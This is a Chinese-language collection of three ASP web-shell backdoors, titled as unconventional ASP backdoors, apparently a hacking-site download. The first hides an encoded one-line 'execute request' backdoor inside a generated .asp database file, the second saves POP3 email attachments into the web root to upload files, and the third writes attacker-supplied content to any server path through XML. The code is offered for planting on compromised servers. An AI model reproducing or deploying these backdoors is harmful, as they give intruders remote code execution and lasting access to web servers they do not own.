【下载文档:  几种另类的asp后门.txt 】

---

几种另类的ASP后门
<% 'code by netpatch dim dbfile,sql db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog") ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile set ydb=nothing if err.number=0 then Response.Write dbfile & " 创建成功
" else Response.Write "创建失败，原因： " & err.description Response.End end if Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile sql="CREATE TABLE fdata([data] Memo)" conn.execute(sql) Set rs = CreateObject("ADODB.RecordSet") rs.Open "FData", conn, 1, 3 rs.addnew rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉！一句话后门 execute request(“n”)) rs.update %> 用Jmail写文件进硬盘 <% 'codz by kEvin1986 [S4T] User=Request.Form("User") Pass=Request.Form("Pass") Popserver=Request.Form("Popserver") if User<>"" and Pass<>"" and Popserver<>"" then Set objmail = CreateObject( "JMail.POP3" ) objmail.Connect User, Pass, Popserver set objmsg=CreateObject("jmail.message") Set objmsg = objmail.Messages.item(1) separator = ", " response.write "Attachment Name is: " & SaveAtta & "
" objmail.Disconnect End if Function SaveAtta() Set Attachments = objmsg.Attachments separator = ", " response.write "The size of this Attachment is: " & objmsg.size & "
" For i = 0 To Attachments.Count - 1 If i = Attachments.Count - 1 Then separator = "" End If Set Theatta = Attachments(i) response.write Theatta.Name Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name) Response.write "Oh!Hey Guy.....That's OK!" Next End Function %>

User:
Pass:
POP3:

利用xml写马 <%on error resume next%>

木马内容

路径

<%Response.write "本文件绝对路径"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>

<% dim xmlString dim xmlDoc xmlString= Request("flashboy") set xmlDoc = server.createObject("Msxml2.DOMDocument") xmlDoc.loadXml(xmlString) f=Request("textfield") xmlDoc.save(f) set xmlDoc=nothing %>